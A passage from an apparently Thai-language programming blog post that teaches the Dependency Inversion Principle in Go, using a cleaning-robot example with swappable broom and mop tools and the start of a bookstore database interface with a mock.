&#xE04;&#xE37;&#xE2D;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE31;&#xE19;&#xE41;&#xE19;&#xE48; (&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14; &#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE14;&#xE39;&#xE14;&#xE1D;&#xE38;&#xE48;&#xE19; &#xE2F;&#xE25;&#xE2F;)</p><figure class="kg-card kg-code-card"><pre><code>func NewCleaningRobot(tool CleaningTool) *CleaningRobot {
    return &amp;CleaningRobot{tool: tool}
}</code></pre><figcaption>Dependency Injection</figcaption></figure><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49; CleaningTool &#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Dependency &#xE02;&#xE2D;&#xE07; CleaningRobot &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;</p><p><strong>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Dependency &#xE43;&#xE19;&#xE0A;&#xE35;&#xE27;&#xE34;&#xE15;&#xE1B;&#xE23;&#xE30;&#xE08;&#xE33;&#xE27;&#xE31;&#xE19;</strong><br>&#x1F697; &#xE23;&#xE16;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE19;&#xE49;&#xE33;&#xE21;&#xE31;&#xE19; (&#xE19;&#xE49;&#xE33;&#xE21;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; Dependency &#xE02;&#xE2D;&#xE07;&#xE23;&#xE16;)<br>&#x1F4F1; &#xE42;&#xE17;&#xE23;&#xE28;&#xE31;&#xE1E;&#xE17;&#xE4C;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Battery (Battery &#xE40;&#xE1B;&#xE47;&#xE19; Dependency &#xE02;&#xE2D;&#xE07;&#xE42;&#xE17;&#xE23;&#xE28;&#xE31;&#xE1E;&#xE17;&#xE4C;)<br>&#x1F468;&#x200D;&#x1F373; &#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE27;&#xE31;&#xE15;&#xE16;&#xE38;&#xE14;&#xE34;&#xE1A; (&#xE27;&#xE31;&#xE15;&#xE16;&#xE38;&#xE14;&#xE34;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Dependency &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;)</p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> SOLID &#xE04;&#xE37;&#xE2D;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; 5 &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; Software &#xE17;&#xE35;&#xE48;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE07;&#xE48;&#xE32;&#xE22; &#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE42;&#xE14;&#xE22; DIP &#xE2B;&#xE23;&#xE37;&#xE2D; Dependency Inversion Principle<strong> </strong>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22; (D) &#xE43;&#xE19; SOLID</p><p>Code &#xE40;&#xE15;&#xE47;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; Dependency Inversion &#xE42;&#xE14;&#xE22;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE43;&#xE19;&#xE41;&#xE1A;&#xE1A;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE46; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Interface &quot;CleaningTool&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE27;&#xE48;&#xE32;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Method &quot;Clean()&quot; &#xE17;&#xE35;&#xE48;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; string &#xE21;&#xE31;&#xE19;&#xE04;&#xE37;&#xE2D;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14; (CleaningTool) &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE0A;&#xE34;&#xE49;&#xE19;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE2D;&#xE19;&#xE32;&#xE04;&#xE15;&#xE42;&#xE14;&#xE22;&#xE41;&#xE04;&#xE48;&#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE19;&#xE35;&#xE49;</li><li>&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; struct Broom &#xE41;&#xE25;&#xE30; Mop &#xE41;&#xE17;&#xE19;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;&#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE49;&#xE07; 2 struct &#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Implement Method &quot;Clean()&quot; &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE21;&#xE31;&#xE19;&#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;</li><li>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE41;&#xE22;&#xE01;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; struct &quot;CleaningRobot&quot; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C; tool &#xE40;&#xE1B;&#xE47;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; CleaningTool &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE21;&#xE35; Method &quot;Clean()&quot; &#xE17;&#xE35;&#xE48;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; string</li><li>&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; Dependency Injection &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Function &quot;NewCleaningRobot&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Inject (&#xE09;&#xE35;&#xE14;) &#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14; (Dependency) &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Function &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19; Pointer &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; CleaningRobot &#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE43;&#xE19;&#xE20;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE09;&#xE35;&#xE14; Mock Object &#xE41;&#xE17;&#xE19;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE08;&#xE23;&#xE34;&#xE07;</li><li>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Method &quot;DoClean()&quot; &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE48;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C; (CleaningRobot) &#xE42;&#xE14;&#xE22;&#xE43;&#xE19; DoClean() &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Method &quot;Clean()&quot; &#xE02;&#xE2D;&#xE07;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE2D;&#xE35;&#xE01;&#xE17;&#xE35; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE2D;&#xE19;&#xE32;&#xE04;&#xE15;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Function &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE48;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE44;&#xE14;&#xE49;</li><li>&#xE43;&#xE19; Function &quot;main()&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE2A;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27; &#xE15;&#xE31;&#xE27;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14; &#xE2D;&#xE35;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Mothod &quot;DoClean()&quot; &#xE02;&#xE2D;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE31;&#xE27;</li></ol><pre><code>package main

import &quot;fmt&quot;

// CleaningTool &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE41;&#xE17;&#xE19;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;
type CleaningTool interface {
	Clean() string
}

// &#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;
type Broom struct{}

func (b Broom) Clean() string {
	return &quot;&#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27;&quot;
}

// &#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;
type Mop struct{}

func (m Mop) Clean() string {
	return &quot;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22;&quot;
}

// &#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;
type CleaningRobot struct {
	tool CleaningTool
}

// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48;
func NewCleaningRobot(t CleaningTool) *CleaningRobot {
	return &amp;CleaningRobot{tool: t}
}

// &#xE43;&#xE2B;&#xE49;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;
func (r *CleaningRobot) DoClean() string {
	return r.tool.Clean()
}

func main() {
	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE49;&#xE01;&#xE27;&#xE32;&#xE14;
	broomRobot := NewCleaningRobot(Broom{})
	fmt.Println(broomRobot.DoClean()) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;&#xE01;&#xE27;&#xE32;&#xE14;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27;&quot;

	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE38;&#xE48;&#xE19;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE21;&#xE49;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;
	mopRobot := NewCleaningRobot(Mop{})
	fmt.Println(mopRobot.DoClean()) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;&#xE16;&#xE39;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE23;&#xE49;&#xE2D;&#xE22;&quot;
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-19-at-11.36.20-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1336" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-19-at-11.36.20-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-19-at-11.36.20-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-19-at-11.36.20-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-19-at-11.36.20-AM.png 2260w" sizes="(min-width: 720px) 720px"></figure><p>DIP (Dependency Inversion Principle) &#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Module &#xE41;&#xE1A;&#xE1A;&#xE41;&#xE19;&#xE1A;&#xE41;&#xE19;&#xE48;&#xE19; (Tight Coupling)</p><p>&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; Module &#xE08;&#xE30;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE01;&#xE31;&#xE19;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; DIP &#xE43;&#xE0A;&#xE49; Interface &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE01;&#xE25;&#xE32;&#xE07;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE22;&#xE01;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Module &#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE41;&#xE25;&#xE30;&#xE01;&#xE31;&#xE19; &#xE23;&#xE39;&#xE49;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE41;&#xE15;&#xE48;&#xE27;&#xE48;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE43;&#xE19; Interface &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE23;&#xE30;&#xE21;&#xE31;&#xE14;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; DIP &#xE21;&#xE32;&#xE01;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;&#xE0B;&#xE36;&#xE48;&#xE07;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE21;&#xE32;&#xE01;&#xE22;&#xE34;&#xE48;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program <strong>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;</strong> &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE25;&#xE31;&#xE1A; Dependency<strong> </strong>&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE41;&#xE25;&#xE30; Mock Database &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Interface &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE02;&#xE2D;&#xE07; Database &#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; 3 Method &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; GetBook(), AddBook() &#xE41;&#xE25;&#xE30; DeleteBook() &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Database &#xE08;&#xE23;&#xE34;&#xE07;&#xE41;&#xE25;&#xE30; Mock Database &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;</p><pre><code>// BookDatabase &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07;
type BookDatabase interface {
    GetBook(id int) (string, error)
    AddBook(title string) error
    DeleteBook(id int) error
